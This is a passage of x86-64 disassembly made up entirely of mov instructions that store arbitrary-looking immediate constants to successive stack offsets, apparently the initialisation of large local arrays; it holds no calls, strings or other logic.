mov word [rsp + 0x1740], ax
movabs rax, 0x76874b3739abe1
mov qword [rsp + 0xa7e8], rax
mov dword [rsp + 0x52b0], 0xbc34
mov dword [rsp + 0x52b4], 0x44d2
mov dword [rsp + 0x52b8], 0x650c
mov byte [rsp + 0x2ae], 0x3f
mov dword [rsp + 0x52bc], 0x68ce
movabs rax, 0x71a8ae6e3351ab
mov qword [rsp + 0xa7f0], rax
movabs rax, 0x7d117a988a221d
mov qword [rsp + 0xa7f8], rax
mov dword [rsp + 0x52c0], 0x4b25
mov eax, 0xd99
mov word [rsp + 0x1744], ax
mov byte [rsp + 0x2af], 0x70
mov eax, 0x9f5
mov word [rsp + 0x1748], ax
mov eax, 0xf0e
mov word [rsp + 0x174c], ax
mov dword [rsp + 0x52c4], 0xe7b9
mov dword [rsp + 0x52c8], 0xa212
mov eax, 0x737
mov word [rsp + 0x1750], ax
movabs rax, 0x7d345b1e94460a
mov qword [rsp + 0xa800], rax
mov eax, 0x7fa
mov word [rsp + 0x1754], ax
movabs rax, 0x7cf7d6021509e0
mov qword [rsp + 0xa808], rax
movabs rax, 0x76f4f0738b79e8
mov qword [rsp + 0xa810], rax
mov byte [rsp + 0x2b0], 0x88
mov byte [rsp + 0x2b1], 0x22
mov byte [rsp + 0x2b2], 0xae
mov byte [rsp + 0x2b3], 0x23
movabs rax, 0x7c6067de5919e4
mov qword [rsp + 0xa818], rax
mov eax, 0xfc5
mov word [rsp + 0x1758], ax
mov byte [rsp + 0x2b4], 0x5d
movabs rax, 0x77b90eb2980500
mov qword [rsp + 0xa820], rax
mov byte [rsp + 0x2b5], 0xde
mov byte [rsp + 0x2b6], 0x19
mov eax, 0x68d
mov word [rsp + 0x175c], ax
mov dword [rsp + 0x52cc], 0xeb72
movabs rax, 0x77ff5be10a5826
mov qword [rsp + 0xa828], rax
movabs rax, 0x7859ac9d150c1f
mov qword [rsp + 0xa830], rax
mov byte [rsp + 0x2b7], 0x3d
mov dword [rsp + 0x52d0], 0x7c9
movabs rax, 0x77c74d1e15a117
mov qword [rsp + 0xa838], rax
mov eax, 0xd16
mov word [rsp + 0x1760], ax
mov byte [rsp + 0x2b8], 0xc
movabs rax, 0x736bc0b8df3aa4
mov qword [rsp + 0xa840], rax
movabs rax, 0x7519a1bdc424cd
mov qword [rsp + 0xa848], rax
mov eax, 0x52b
mov word [rsp + 0x1764], ax
mov byte [rsp + 0x2b9], 0xcc
mov dword [rsp + 0x52d4], 0xb46f
mov dword [rsp + 0x52d8], 0x20a2
movabs rax, 0x7dc1daec102662
mov qword [rsp + 0xa850], rax
mov eax, 0x61a
mov word [rsp + 0x1768], ax
mov byte [rsp + 0x2ba], 0x11
mov eax, 0x68f
mov word [rsp + 0x176c], ax
movabs rax, 0x78351e9a177829
mov qword [rsp + 0xa858], rax
mov eax, 0x74e
mov word [rsp + 0x1770], ax
movabs rax, 0x7e09c8890f264f
mov qword [rsp + 0xa860], rax
mov dword [rsp + 0x52dc], 0x7fb5
mov dword [rsp + 0x52e0], 0xdc88
mov eax, 0x229
mov word [rsp + 0x1774], ax
mov eax, 0xa11
mov word [rsp + 0x1778], ax
movabs rax, 0x7362504c758f71
mov qword [rsp + 0xa868], rax
mov dword [rsp + 0x52e4], 0x1141
mov eax, 0x8e1
mov word [rsp + 0x177c], ax
mov eax, 0x624
mov word [rsp + 0x1780], ax
mov eax, 0x213
mov word [rsp + 0x1784], ax
mov eax, 0x4b2
mov word [rsp + 0x1788], ax
movabs rax, 0x78527fef02b069
mov qword [rsp + 0xa870], rax
mov dword [rsp + 0x52e8], 0x28eb
mov eax, 0x6c0
mov word [rsp + 0x178c], ax
mov dword [rsp + 0x52ec], 0x46f1
mov byte [rsp + 0x2bb], 0xed
mov dword [rsp + 0x52f0], 0x339f
mov byte [rsp + 0x2bc], 4
mov dword [rsp + 0x52f4], 0x629
mov eax, 0xac7
mov word [rsp + 0x1790], ax
mov dword [rsp + 0x52f8], 0x3674
mov byte [rsp + 0x2bd], 0xb2
movabs rax, 0x7711b49d3d092c
mov qword [rsp + 0xa878], rax
mov dword [rsp + 0x52fc], 0x566c
mov eax, 0x7a8
mov word [rsp + 0x1794], ax
mov byte [rsp + 0x2be], 0x40
mov byte [rsp + 0x2bf], 0xdc
mov byte [rsp + 0x2c0], 0x58
movabs rax, 0x786bfb9afad88b
mov qword [rsp + 0xa880], rax
mov dword [rsp + 0x5300], 0x4b6a
movabs rax, 0x75d32db1113a94
mov qword [rsp + 0xa888], rax
mov dword [rsp + 0x5304], 0x8a
mov dword [rsp + 0x5308], 0x566b
mov eax, 0xe6
mov word [rsp + 0x1798], ax
movabs rax, 0x7c656b1461099b
mov qword [rsp + 0xa890], rax
mov eax, 0x51a
mov word [rsp + 0x179c], ax
mov dword [rsp + 0x530c], 0x2aaf
movabs rax, 0x78b441b7f28f14
mov qword [rsp + 0xa898], rax
mov byte [rsp + 0x2c1], 0x30
mov byte [rsp + 0x2c2], 0xa1
mov dword [rsp + 0x5310], 0x293d
mov dword [rsp + 0x5314], 0x4179
mov eax, 0x2f5
mov word [rsp + 0x17a0], ax
mov eax, 0x31
mov word [rsp + 0x17a4], ax
mov dword [rsp + 0x5318], 0x863b
mov byte [rsp + 0x2c3], 0x9a
mov dword [rsp + 0x531c], 0x11a2
mov dword [rsp + 0x5320], 0xe03
mov eax, 0x5af
mov word [rsp + 0x17a8], ax
mov eax, 0x43f
mov word [rsp + 0x17ac], ax
mov eax, 0x1d4
mov word [rsp + 0x17b0], ax
mov eax, 0xbd6
mov word [rsp + 0x17b4], ax
mov dword [rsp + 0x5324], 0x437c
movabs rax, 0x7085d4cef54b86
mov qword [rsp + 0xa8a0], rax
mov dword [rsp + 0x5328], 0x403d
movabs rax, 0x7176714081d089
mov qword [rsp + 0xa8a8], rax
mov eax, 0xa6
mov word [rsp + 0x17b8], ax
mov byte [rsp + 0x2c4], 0x33
movabs rax, 0x75d20f7b99dc63
mov qword [rsp + 0xa8b0], rax
movabs rax, 0x7d03461d10c746
mov qword [rsp + 0xa8b8], rax
mov eax, 0x4cc
mov word [rsp + 0x17bc], ax
movabs rax, 0x77dcab1850f4c1
mov qword [rsp + 0xa8c0], rax
mov eax, 0x75b
mov word [rsp + 0x17c0], ax
mov byte [rsp + 0x2c5], 0x89
mov eax, 0xf9
mov word [rsp + 0x17c4], ax
mov byte [rsp + 0x2c6], 0xee
mov dword [rsp + 0x532c], 0x7831
movabs rax, 0x79aebcf19c760c
mov qword [rsp + 0xa8c8], rax
mov dword [rsp + 0x5330], 0xf9f
movabs rax, 0x7a269327ea9cfd
mov qword [rsp + 0xa8d0], rax
mov dword [rsp + 0x5334], 0xffd0
mov eax, 0x438
mov word [rsp + 0x17c8], ax
mov dword [rsp + 0x5338], 0x2c26
mov dword [rsp + 0x533c], 0xeb42
mov byte [rsp + 0x2c7], 0
mov eax, 0x5ca
mov word [rsp + 0x17cc], ax
mov eax, 0xfa5
mov word [rsp + 0x17d0], ax
movabs rax, 0x7a48aed5a0cc6b
mov qword [rsp + 0xa8d8], rax
mov eax, 0x167
mov word [rsp + 0x17d4], ax
mov dword [rsp + 0x5340], 0x7435
movabs rax, 0x78772816eabdcb
mov qword [rsp + 0xa8e0], rax
mov dword [rsp + 0x5344], 0x7ce5
movabs rax, 0x789cdcdd41de65
mov qword [rsp + 0xa8e8], rax
mov eax, 0xe80
mov word [rsp + 0x17d8], ax
mov dword [rsp + 0x5348], 0x2e36
mov eax, 0x67c
mov word [rsp + 0x17dc], ax
mov eax, 0xefb
mov word [rsp + 0x17e0], ax
movabs rax, 0x7420ffa2c4d911
mov qword [rsp + 0xa8f0], rax
mov dword [rsp + 0x534c], 0x4e77
movabs rax, 0x722dc1e1d97eb7
mov qword [rsp + 0xa8f8], rax
mov eax, 0x5b5
mov word [rsp + 0x17e4], ax
movabs rax, 0x741c5873b574c8
mov qword [rsp + 0xa900], rax
mov dword [rsp + 0x5350], 0x205c
mov eax, 0x5e6
mov word [rsp + 0x17e8], ax
mov byte [rsp + 0x2c8], 0xba
mov byte [rsp + 0x2c9], 0xde
mov dword [rsp + 0x5354], 0x754a
mov dword [rsp + 0x5358], 0x25e2
mov eax, 0xebf
mov word [rsp + 0x17ec], ax
movabs rax, 0x7e3ae446c22d60
mov qword [rsp + 0xa908], rax
mov dword [rsp + 0x535c], 0x12c2
mov dword [rsp + 0x5360], 0x434b
mov byte [rsp + 0x2ca], 0x5d
mov eax, 0x418
mov word [rsp + 0x17f0], ax
movabs rax, 0x7390953fcc8116
mov qword [rsp + 0xa910], rax
mov byte [rsp + 0x2cb], 0x39
mov eax, 0x622
mov word [rsp + 0x17f4], ax
mov eax, 0x602
mov word [rsp + 0x17f8], ax
mov dword [rsp + 0x5364], 0x9004
mov eax, 0xf07
mov word [rsp + 0x17fc], ax
mov dword [rsp + 0x5368], 0x6057
movabs rax, 0x727438a5bb3984
mov qword [rsp + 0xa918], rax
mov dword [rsp + 0x536c], 0x4435
mov eax, 0x7ef
mov word [rsp + 0x1800], ax
mov eax, 0xcac
mov word [rsp + 0x1804], ax
movabs rax, 0x7e14744c9ecbc0
mov qword [rsp + 0xa920], rax
movabs rax, 0x7cbcc7ee8a7ef1
mov qword [rsp + 0xa928], rax
movabs rax, 0x7dc36f5fc7d1df
mov qword [rsp + 0xa930], rax
mov dword [rsp + 0x5370], 0x1a3e
mov dword [rsp + 0x5374], 0xf1d9
mov dword [rsp + 0x5378], 0x4938
movabs rax, 0x71090cc6c3984f
mov qword [rsp + 0xa938], rax
mov dword [rsp + 0x537c], 0x679d
mov byte [rsp + 0x2cc], 2
movabs rax, 0x78e0b8da8dd233
mov qword [rsp + 0xa940], rax
mov dword [rsp + 0x5380], 0x206b
mov byte [rsp + 0x2cd], 0xde
mov dword [rsp + 0x5384], 0x22dd
movabs rax, 0x740b5cc16f0b95
mov qword [rsp + 0xa948], rax
mov dword [rsp + 0x5388], 0x616d
movabs rax, 0x7b66b20ebc63af
mov qword [rsp + 0xa950], rax
mov eax, 0x257
mov word [rsp + 0x1808], ax
movabs rax, 0x7e867ae519892f
mov qword [rsp + 0xa958], rax
mov byte [rsp + 0x2ce], 0x5b
mov eax, 0x91c
mov word [rsp + 0x180c], ax
mov eax, 0x225
mov word [rsp + 0x1810], ax
movabs rax, 0x73a2b117be5c1f
mov qword [rsp + 0xa960], rax
movabs rax, 0x740a4cb9d1f63b
mov qword [rsp + 0xa968], rax
movabs rax, 0x77d68a6f4be066
mov qword [rsp + 0xa970], rax
mov dword [rsp + 0x538c], 0x4a42
movabs rax, 0x7a5641637b9384
mov qword [rsp + 0xa978], rax
mov dword [rsp + 0x5390], 0x765d
movabs rax, 0x7085fa25ae32e1
mov qword [rsp + 0xa980], rax
movabs rax, 0x7654367736918a
mov qword [rsp + 0xa988], rax
mov dword [rsp + 0x5394], 0x9cc6
mov byte [rsp + 0x2cf], 0x4a
mov byte [rsp + 0x2d0], 0x6c
mov dword [rsp + 0x5398], 0xe4b
mov eax, 0x1ff
mov word [rsp + 0x1814], ax
mov byte [rsp + 0x2d1], 0x7f
movabs rax, 0x7595cfdfa6762b
mov qword [rsp + 0xa990], rax
mov dword [rsp + 0x539c], 0x1820
mov dword [rsp + 0x53a0], 0x4f99
mov byte [rsp + 0x2d2], 0x28
mov dword [rsp + 0x53a4], 0x63eb
movabs rax, 0x7b042cb334d756
mov qword [rsp + 0xa998], rax
mov dword [rsp + 0x53a8], 0xef18
mov byte [rsp + 0x2d3], 0x59
movabs rax, 0x71f3ffe65000ca
mov qword [rsp + 0xa9a0], rax
mov byte [rsp + 0x2d4], 0x1a
mov dword [rsp + 0x53ac], 0xe131
mov eax, 0x2a0
mov word [rsp + 0x1818], ax
mov eax, 0x313
mov word [rsp + 0x181c], ax
mov dword [rsp + 0x53b0], 0x1939
mov byte [rsp + 0x2d5], 0xd8
mov byte [rsp + 0x2d6], 0x21
mov dword [rsp + 0x53b4], 0x6e08
mov dword [rsp + 0x53b8], 0x3f2e
mov dword [rsp + 0x53bc], 0x545d
mov dword [rsp + 0x53c0], 0x4d2f
mov dword [rsp + 0x53c4], 0xdfae
movabs rax, 0x7e6c385f10943b
mov qword [rsp + 0xa9a8], rax
mov eax, 0x7a3
mov word [rsp + 0x1820], ax
mov dword [rsp + 0x53c8], 0x5948
mov eax, 0x247
mov word [rsp + 0x1824], ax
mov dword [rsp + 0x53cc], 0x6a0f
movabs rax, 0x791fe1cb98c05d
mov qword [rsp + 0xa9b0], rax
mov byte [rsp + 0x2d7], 0x23
mov eax, 0xf88
mov word [rsp + 0x1828], ax
mov dword [rsp + 0x53d0], 0x2edd
mov byte [rsp + 0x2d8], 0x52
mov byte [rsp + 0x2d9], 0x24
mov eax, 0x1a
mov word [rsp + 0x182c], ax
mov byte [rsp + 0x2da], 0x6c
mov byte [rsp + 0x2db], 0xf5
movabs rax, 0x7b5700d7d685ca
mov qword [rsp + 0xa9b8], rax
mov eax, 0xae2
mov word [rsp + 0x1830], ax
movabs rax, 0x74e5c60b1e1532
mov qword [rsp + 0xa9c0], rax
movabs rax, 0x72f83b22948913
mov qword [rsp + 0xa9c8], rax
mov byte [rsp + 0x2dc], 0xdf
movabs rax, 0x71002dd296d4b4
mov qword [rsp + 0xa9d0], rax
mov eax, 0x611
mov word [rsp + 0x1834], ax
mov byte [rsp + 0x2dd], 0x81
movabs rax, 0x71c7a9a211c784
mov qword [rsp + 0xa9d8], rax
mov byte [rsp + 0x2de], 0x62
movabs rax, 0x794c2fd21e75d7
mov qword [rsp + 0xa9e0], rax
movabs rax, 0x76e37d7260c05e
mov qword [rsp + 0xa9e8], rax
mov dword [rsp + 0x53d4], 0xb4ac
mov dword [rsp + 0x53d8], 0x5562
mov eax, 0x688
mov word [rsp + 0x1838], ax
mov dword [rsp + 0x53dc], 0xb0c7
movabs rax, 0x79bfbdf1eb6393
mov qword [rsp + 0xa9f0], rax
mov eax, 0x67f
mov word [rsp + 0x183c], ax
movabs rax, 0x789817de9409eb
mov qword [rsp + 0xa9f8], rax
mov eax, 0x2df
mov word [rsp + 0x1840], ax
mov eax, 0x395
mov word [rsp + 0x1844], ax
movabs rax, 0x7ec32cf94b4a58
mov qword [rsp + 0xaa00], rax
mov dword [rsp + 0x53e0], 0x7b5c
mov eax, 0xeb3
mov word [rsp + 0x1848], ax
movabs rax, 0x79dcd31d377306
mov qword [rsp + 0xaa08], rax
mov dword [rsp + 0x53e4], 0x176e
movabs rax, 0x775dd5ecdc23dd
mov qword [rsp + 0xaa10], rax
mov dword [rsp + 0x53e8], 0x35ab
movabs rax, 0x7534f98ee45bbd
mov qword [rsp + 0xaa18], rax
movabs rax, 0x74571a82a5e2bb
mov qword [rsp + 0xaa20], rax
movabs rax, 0x77520ade14df3f
mov qword [rsp + 0xaa28], rax
mov eax, 0xcf6
mov word [rsp + 0x184c], ax
mov dword [rsp + 0x53ec], 0xc6d8
movabs rax, 0x7d8b41021070b7
mov qword [rsp + 0xaa30], rax
mov byte [rsp + 0x2df], 0x16
mov byte [rsp + 0x2e0], 0x2e
mov eax, 0x732
mov word [rsp + 0x1850], ax
mov dword [rsp + 0x53f0], 0x47ab
mov dword [rsp + 0x53f4], 0x78a9
mov eax, 3
mov word [rsp + 0x1854], ax
movabs rax, 0x79f10a410bfdc2
mov qword [rsp + 0xaa38], rax
mov byte [rsp + 0x2e1], 0x90
movabs rax, 0x767c75183f687e
mov qword [rsp + 0xaa40], rax
mov byte [rsp + 0x2e2], 0xaa
mov eax, 0x472
mov word [rsp + 0x1858], ax
mov byte [rsp + 0x2e3], 0x64
mov eax, 0x511
mov word [rsp + 0x185c], ax
mov dword [rsp + 0x53f8], 0x91f9
mov byte [rsp + 0x2e4], 0xe
mov byte [rsp + 0x2e5], 0x7f
mov dword [rsp + 0x53fc], 0xea14
mov byte [rsp + 0x2e6], 0x61
movabs rax, 0x70ea336e788ec3
mov qword [rsp + 0xaa48], rax
mov dword [rsp + 0x5400], 0x1922
mov eax, 0x2bf
mov word [rsp + 0x1860], ax
mov byte [rsp + 0x2e7], 0x1c
movabs rax, 0x7084b8acf5c110
mov qword [rsp + 0xaa50], rax
mov eax, 0xfb5
mov word [rsp + 0x1864], ax
movabs rax, 0x76a70afbae8614
mov qword [rsp + 0xaa58], rax
movabs rax, 0x76c1c44a644600
mov qword [rsp + 0xaa60], rax
movabs rax, 0x7a50368d0a1d61
mov qword [rsp + 0xaa68], rax
movabs rax, 0x74f9bf2acd732b
mov qword [rsp + 0xaa70], rax
mov eax, 0xfe
mov word [rsp + 0x1868], ax
movabs rax, 0x7776a02f6a5688
mov qword [rsp + 0xaa78], rax
mov eax, 0x5f0
mov word [rsp + 0x186c], ax
movabs rax, 0x799d472675a378
mov qword [rsp + 0xaa80], rax
movabs rax, 0x783edfa319880a
mov qword [rsp + 0xaa88], rax
movabs rax, 0x7881782d9296b1
mov qword [rsp + 0xaa90], rax
mov dword [rsp + 0x5404], 0x1110
movabs rax, 0x71e68fd5b8b545
mov qword [rsp + 0xaa98], rax
mov eax, 0x725
mov word [rsp + 0x1870], ax
movabs rax, 0x787d4ae2d03c7e
mov qword [rsp + 0xaaa0], rax
mov eax, 0x7d1
mov word [rsp + 0x1874], ax
mov eax, 0x85d
mov word [rsp + 0x1878], ax
mov dword [rsp + 0x5408], 0x8bb3
movabs rax, 0x7c3104f6ff4413
mov qword [rsp + 0xaaa8], rax
mov dword [rsp + 0x540c], 0x4fb9
mov eax, 0x55e
mov word [rsp + 0x187c], ax
movabs rax, 0x735cc2ba234cf8
mov qword [rsp + 0xaab0], rax
mov eax, 0xb
mov word [rsp + 0x1880], ax
mov byte [rsp + 0x2e8], 0xe4
mov dword [rsp + 0x5410], 0xd5b
mov dword [rsp + 0x5414], 0x6605
mov eax, 0x44f
mov word [rsp + 0x1884], ax
movabs rax, 0x727b850687b7ca
mov qword [rsp + 0xaab8], rax
mov byte [rsp + 0x2e9], 0xb
mov dword [rsp + 0x5418], 0x50c0
movabs rax, 0x7a3f2a8ccc28f5
mov qword [rsp + 0xaac0], rax
mov eax, 0x5c0
mov word [rsp + 0x1888], ax
movabs rax, 0x7bea4634b0043d
mov qword [rsp + 0xaac8], rax
mov byte [rsp + 0x2ea], 0x13
mov eax, 0x85b
mov word [rsp + 0x188c], ax
mov dword [rsp + 0x541c], 0x6907
mov byte [rsp + 0x2eb], 0x71
mov byte [rsp + 0x2ec], 0x5d
mov byte [rsp + 0x2ed], 0x46
mov byte [rsp + 0x2ee], 0xe5
mov eax, 0x4ee
mov word [rsp + 0x1890], ax
mov dword [rsp + 0x5420], 0x3be4
movabs rax, 0x740ee61595888c
mov qword [rsp + 0xaad0], rax
mov dword [rsp + 0x5424], 0x1e5a
mov byte [rsp + 0x2ef], 0x7d
mov byte [rsp + 0x2f0], 0xf6
mov eax, 0x203
mov word [rsp + 0x1894], ax
mov byte [rsp + 0x2f1], 0xbd
movabs rax, 0x7aee0b88c25330
mov qword [rsp + 0xaad8], rax
movabs rax, 0x7b48e3a615e9fd
mov qword [rsp + 0xaae0], rax
mov eax, 0x2bc
mov word [rsp + 0x1898], ax
mov eax, 0x773
mov word [rsp + 0x189c], ax
mov eax, 0x45c
mov word [rsp + 0x18a0], ax
movabs rax, 0x79168848b9193f
mov qword [rsp + 0xaae8], rax
movabs rax, 0x7d42217d5e94a6
mov qword [rsp + 0xaaf0], rax
mov eax, 0xf
mov word [rsp + 0x18a4], ax
mov dword [rsp + 0x5428], 0x2841
movabs rax, 0x70e3436377e75e
mov qword [rsp + 0xaaf8], rax
mov dword [rsp + 0x542c], 0x1158
mov eax, 0xfbd
mov word [rsp + 0x18a8], ax
mov eax, 0x728
mov word [rsp + 0x18ac], ax
mov eax, 0xff
mov word [rsp + 0x18b0], ax
mov byte [rsp + 0x2f2], 0xd8
mov dword [rsp + 0x5430], 0xaab1
mov eax, 0x711
mov word [rsp + 0x18b4], ax
mov eax, 0x16f
mov word [rsp + 0x18b8], ax
mov dword [rsp + 0x5434], 0x9fc9
movabs rax, 0x7d7224d8da71ea
mov qword [rsp + 0xab00], rax
movabs rax, 0x7ceeec43613ce4
mov qword [rsp + 0xab08], rax
movabs rax, 0x7d03c0aa7c900c
mov qword [rsp + 0xab10], rax
movabs rax, 0x77ed2dd82eb8e5
mov qword [rsp + 0xab18], rax
mov eax, 0x375
mov word [rsp + 0x18bc], ax
mov byte [rsp + 0x2f3], 9
mov eax, 0xc5a
mov word [rsp + 0x18c0], ax
mov eax, 0x6f8
mov word [rsp + 0x18c4], ax
mov byte [rsp + 0x2f4], 0x40
mov eax, 0x127
mov word [rsp + 0x18c8], ax
mov dword [rsp + 0x5438], 0x5491
mov dword [rsp + 0x543c], 0x4086
mov eax, 0x4fe
mov word [rsp + 0x18cc], ax
movabs rax, 0x7486c14a140c93
mov qword [rsp + 0xab20], rax
mov dword [rsp + 0x5440], 0x315a
mov dword [rsp + 0x5444], 0xec46
mov eax, 0xa28
mov word [rsp + 0x18d0], ax
mov dword [rsp + 0x5448], 0x31fe
mov eax, 0xb4a
mov word [rsp + 0x18d4], ax
mov eax, 0x497
mov word [rsp + 0x18d8], ax
mov eax, 0x787
mov word [rsp + 0x18dc], ax
mov eax, 0x516
mov word [rsp + 0x18e0], ax
mov dword [rsp + 0x544c], 0x2c0e
mov byte [rsp + 0x2f5], 0x50
mov dword [rsp + 0x5450], 0x3113
mov dword [rsp + 0x5454], 0x4f8e
mov eax, 0x7e9
mov word [rsp + 0x18e4], ax
movabs rax, 0x71644d2e0bb069
mov qword [rsp + 0xab28], rax
movabs rax, 0x75bb9f32f85ffd
mov qword [rsp + 0xab30], rax
mov dword [rsp + 0x5458], 0x7ec4
movabs rax, 0x7a6dadbaeec234
mov qword [rsp + 0xab38], rax
mov eax, 0x5b9
mov word [rsp + 0x18e8], ax
mov byte [rsp + 0x2f6], 0x56
mov byte [rsp + 0x2f7], 0x2a
mov dword [rsp + 0x545c], 0x1575
mov byte [rsp + 0x2f8], 0xbe
mov eax, 0x111
mov word [rsp + 0x18ec], ax
mov eax, 0x6be
mov word [rsp + 0x18f0], ax
movabs rax, 0x7a0b81d7fd197a
mov qword [rsp + 0xab40], rax
mov dword [rsp + 0x5460], 0x3f17
movabs rax, 0x71ddbcd98fb4b0
mov qword [rsp + 0xab48], rax
mov eax, 0x4bd
mov word [rsp + 0x18f4], ax
mov byte [rsp + 0x2f9], 0x21
movabs rax, 0x7a7006d27e41d4
mov qword [rsp + 0xab50], rax
movabs rax, 0x70271368e35101
mov qword [rsp + 0xab58], rax
mov dword [rsp + 0x5464], 0x39d0
mov eax, 0x463
mov word [rsp + 0x18f8], ax
movabs rax, 0x76e85284a87c30
mov qword [rsp + 0xab60], rax
mov eax, 0x16d
mov word [rsp + 0x18fc], ax
mov dword [rsp + 0x5468], 0x23bb
mov byte [rsp + 0x2fa], 0xa0
mov byte [rsp + 0x2fb], 0x7e
mov eax, 0x7b2
mov word [rsp + 0x1900], ax
mov eax, 0x130
mov word [rsp + 0x1904], ax
mov dword [rsp + 0x546c], 0x45bd
mov eax, 0x89
mov word [rsp + 0x1908], ax
movabs rax, 0x767cd630bc8e4f
mov qword [rsp + 0xab68], rax
movabs rax, 0x764d6b882e8a79
mov qword [rsp + 0xab70], rax
mov dword [rsp + 0x5470], 0x4945
mov byte [rsp + 0x2fc], 0x47
mov byte [rsp + 0x2fd], 0x8d
movabs rax, 0x743d9b575cf0e4
mov qword [rsp + 0xab78], rax
movabs rax, 0x79353a761f0370
mov qword [rsp + 0xab80], rax
movabs rax, 0x74701e739c2df7
mov qword [rsp + 0xab88], rax
mov dword [rsp + 0x5474], 0x432d
movabs rax, 0x79bdbf9f10ba5b
mov qword [rsp + 0xab90], rax
mov byte [rsp + 0x2fe], 0xbb
mov dword [rsp + 0x5478], 0xc377
mov byte [rsp + 0x2ff], 0x13
mov byte [rsp + 0x300], 0xe0
mov eax, 0x63c
mov word [rsp + 0x190c], ax
mov byte [rsp + 0x301], 0
mov eax, 0x188
mov word [rsp + 0x1910], ax
movabs rax, 0x729c54f6acb938
mov qword [rsp + 0xab98], rax
movabs rax, 0x796abb4e3472e2
mov qword [rsp + 0xaba0], rax
movabs rax, 0x7b4b7f842dda41
mov qword [rsp + 0xaba8], rax
movabs rax, 0x777dc0cffe2ad5
mov qword [rsp + 0xabb0], rax
movabs rax, 0x7aa840af818437
mov qword [rsp + 0xabb8], rax
mov byte [rsp + 0x302], 0x39
mov eax, 0x2f9
mov word [rsp + 0x1914], ax
mov eax, 0x91e
mov word [rsp + 0x1918], ax
movabs rax, 0x7a290bc8293fe0
mov qword [rsp + 0xabc0], rax
mov eax, 0x4e8
mov word [rsp + 0x191c], ax
mov dword [rsp + 0x547c], 0x6951
movabs rax, 0x70a0db569c2529
mov qword [rsp + 0xabc8], rax
mov eax, 0x437
mov word [rsp + 0x1920], ax
mov eax, 0xc5e
mov word [rsp + 0x1924], ax
mov dword [rsp + 0x5480], 0x6e9c
mov byte [rsp + 0x303], 0x5a
mov eax, 0x5b4
mov word [rsp + 0x1928], ax
movabs rax, 0x7bd4fbe9ddf548
mov qword [rsp + 0xabd0], rax
mov dword [rsp + 0x5484], 0xbea4
mov eax, 0x1e2
mov word [rsp + 0x192c], ax
mov eax, 0xd3e
mov word [rsp + 0x1930], ax
mov byte [rsp + 0x304], 0x26
mov dword [rsp + 0x5488], 0x96f8
mov eax, 0xffc
mov word [rsp + 0x1934], ax
mov eax, 0x41c
mov word [rsp + 0x1938], ax
movabs rax, 0x79a734064045a8
mov qword [rsp + 0xabd8], rax
movabs rax, 0x793923d694b634
mov qword [rsp + 0xabe0], rax
mov dword [rsp + 0x548c], 0x3571
mov eax, 0x6a5
mov word [rsp + 0x193c], ax
mov byte [rsp + 0x305], 0x3f
movabs rax, 0x7be4fc4f952943
mov qword [rsp + 0xabe8], rax
mov dword [rsp + 0x5490], 0x6003
movabs rax, 0x79153f5360ad13
mov qword [rsp + 0xabf0], rax
mov eax, 0xae
mov word [rsp + 0x1940], ax
mov dword [rsp + 0x5494], 0x6f6f
mov dword [rsp + 0x5498], 0xe73b
mov byte [rsp + 0x306], 0x19
mov dword [rsp + 0x549c], 0x708f
mov eax, 0x378
mov word [rsp + 0x1944], ax
mov byte [rsp + 0x307], 0xc2
mov eax, 0x374
mov word [rsp + 0x1948], ax
mov byte [rsp + 0x308], 0x5b
movabs rax, 0x761909fb9d0e95
mov qword [rsp + 0xabf8], rax
mov eax, 0x4b1
mov word [rsp + 0x194c], ax
mov byte [rsp + 0x309], 0xe9
mov byte [rsp + 0x30a], 0x2a
movabs rax, 0x7474c0f435caa1
mov qword [rsp + 0xac00], rax
mov dword [rsp + 0x54a0], 0x697a
mov byte [rsp + 0x30b], 0x74
mov eax, 0xaa2
mov word [rsp + 0x1950], ax
mov dword [rsp + 0x54a4], 0x19d5
movabs rax, 0x7c640ddfecd2b2
mov qword [rsp + 0xac08], rax
mov dword [rsp + 0x54a8], 0x12f1
mov eax, 0x6b0
mov word [rsp + 0x1954], ax
mov byte [rsp + 0x30c], 0x6b
movabs rax, 0x7dff2de8524d1d
mov qword [rsp + 0xac10], rax
mov dword [rsp + 0x54ac], 0x7027
mov byte [rsp + 0x30d], 0x38
mov dword [rsp + 0x54b0], 0x1a51
mov dword [rsp + 0x54b4], 0x96be
movabs rax, 0x7eaad91809a591
mov qword [rsp + 0xac18], rax
mov dword [rsp + 0x54b8], 0xcf8c
mov eax, 0x1b8
mov word [rsp + 0x1958], ax
mov dword [rsp + 0x54bc], 0xf81c
mov byte [rsp + 0x30e], 0xc7
movabs rax, 0x7e467d91458fab
mov qword [rsp + 0xac20], rax
mov eax, 0xb6b
mov word [rsp + 0x195c], ax
mov eax, 0x666
mov word [rsp + 0x1960], ax
mov eax, 0x48c
mov word [rsp + 0x1964], ax
movabs rax, 0x7b88a59756b86e
mov qword [rsp + 0xac28], rax
mov byte [rsp + 0x30f], 0x5c
movabs rax, 0x785d602c3f5bea
mov qword [rsp + 0xac30], rax
mov eax, 0x630
mov word [rsp + 0x1968], ax
mov dword [rsp + 0x54c0], 0x6072
mov byte [rsp + 0x310], 0xcd
mov dword [rsp + 0x54c4], 0x924
movabs rax, 0x77b8534e4991fd
mov qword [rsp + 0xac38], rax
movabs rax, 0x7dad01d6df8fc5
mov qword [rsp + 0xac40], rax
mov byte [rsp + 0x311], 0x42
mov byte [rsp + 0x312], 6
mov dword [rsp + 0x54c8], 0x230d
mov eax, 0x3a6
mov word [rsp + 0x196c], ax
mov dword [rsp + 0x54cc], 0x4afc
mov eax, 0x6a6
mov word [rsp + 0x1970], ax
mov byte [rsp + 0x313], 0x3a
mov byte [rsp + 0x314], 0x8f
mov byte [rsp + 0x315], 0xa6
mov dword [rsp + 0x54d0], 0x56c4
mov dword [rsp + 0x54d4], 0xffbe
mov dword [rsp + 0x54d8], 0xb4d7
movabs rax, 0x7486e89eafb697
mov qword [rsp + 0xac48], rax
mov dword [rsp + 0x54dc], 0x1476
mov eax, 0x1f3
mov word [rsp + 0x1974], ax
mov dword [rsp + 0x54e0], 0x2f0
movabs rax, 0x77914297d42ac5
mov qword [rsp + 0xac50], rax
mov eax, 0xae
mov word [rsp + 0x1978], ax
mov dword [rsp + 0x54e4], 0x517d
mov dword [rsp + 0x54e8], 0x7ceb
mov eax, 0x1a1
mov word [rsp + 0x197c], ax
mov byte [rsp + 0x316], 0x41
mov dword [rsp + 0x54ec], 0x5ae8
movabs rax, 0x7d39db327bc0fe
mov qword [rsp + 0xac58], rax
movabs rax, 0x750c6f7d836e91
mov qword [rsp + 0xac60], rax
mov eax, 0x206
mov word [rsp + 0x1980], ax
mov eax, 0xe03
mov word [rsp + 0x1984], ax
mov byte [rsp + 0x317], 0x46
